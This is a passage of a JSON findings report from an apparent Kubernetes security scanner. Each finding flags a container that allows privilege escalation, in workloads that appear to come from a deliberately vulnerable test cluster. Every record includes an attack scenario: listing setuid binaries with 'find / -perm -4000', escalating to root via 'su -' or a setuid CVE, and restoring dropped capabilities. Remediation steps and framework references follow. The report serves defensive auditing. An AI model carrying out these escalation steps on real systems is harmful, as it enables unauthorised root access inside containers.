      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n vulnerable -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:vulnerable:root-runner:app",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `Deployment/vulnerable/root-runner`",
    "description": "Container `app` in `Deployment/vulnerable/root-runner` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "root-runner",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/root-runner`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n vulnerable -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:vulnerable:socket-mounts-app:app",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `Deployment/vulnerable/socket-mounts-app`",
    "description": "Container `app` in `Deployment/vulnerable/socket-mounts-app` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "socket-mounts-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/socket-mounts-app`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n vulnerable -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Pod:foothold-exec:foothold-decoy:app",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `Pod/foothold-exec/foothold-decoy`",
    "description": "Container `app` in `Pod/foothold-exec/foothold-decoy` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Pod",
      "name": "foothold-decoy",
      "namespace": "foothold-exec"
    },
    "namespace": "foothold-exec",
    "scope": {
      "level": "workload",
      "detail": "Workload `Pod/foothold-exec/foothold-decoy`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n foothold-exec -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Pod:foothold-exec:foothold-target:app",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `Pod/foothold-exec/foothold-target`",
    "description": "Container `app` in `Pod/foothold-exec/foothold-target` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Pod",
      "name": "foothold-target",
      "namespace": "foothold-exec"
    },
    "namespace": "foothold-exec",
    "scope": {
      "level": "workload",
      "detail": "Workload `Pod/foothold-exec/foothold-target`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n foothold-exec -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Job:gw-workloads:gw-batch:batch",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `batch` allows privilege escalation in `Job/gw-workloads/gw-batch`",
    "description": "Container `batch` in `Job/gw-workloads/gw-batch` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Job",
      "name": "gw-batch",
      "namespace": "gw-workloads",
      "api_group": "batch"
    },
    "namespace": "gw-workloads",
    "scope": {
      "level": "workload",
      "detail": "Workload `Job/gw-workloads/gw-batch`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "batch"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n gw-workloads -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:local-path-storage:local-path-provisioner:local-path-provisioner",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `local-path-provisioner` allows privilege escalation in `Deployment/local-path-storage/local-path-provisioner`",
    "description": "Container `local-path-provisioner` in `Deployment/local-path-storage/local-path-provisioner` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "local-path-provisioner",
      "namespace": "local-path-storage",
      "api_group": "apps"
    },
    "namespace": "local-path-storage",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/local-path-storage/local-path-provisioner`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "local-path-provisioner"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n local-path-storage -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:secrets-bundle:cross-ns-consumer:pause",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `pause` allows privilege escalation in `Deployment/secrets-bundle/cross-ns-consumer`",
    "description": "Container `pause` in `Deployment/secrets-bundle/cross-ns-consumer` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "cross-ns-consumer",
      "namespace": "secrets-bundle",
      "api_group": "apps"
    },
    "namespace": "secrets-bundle",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/secrets-bundle/cross-ns-consumer`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "pause"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n secrets-bundle -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
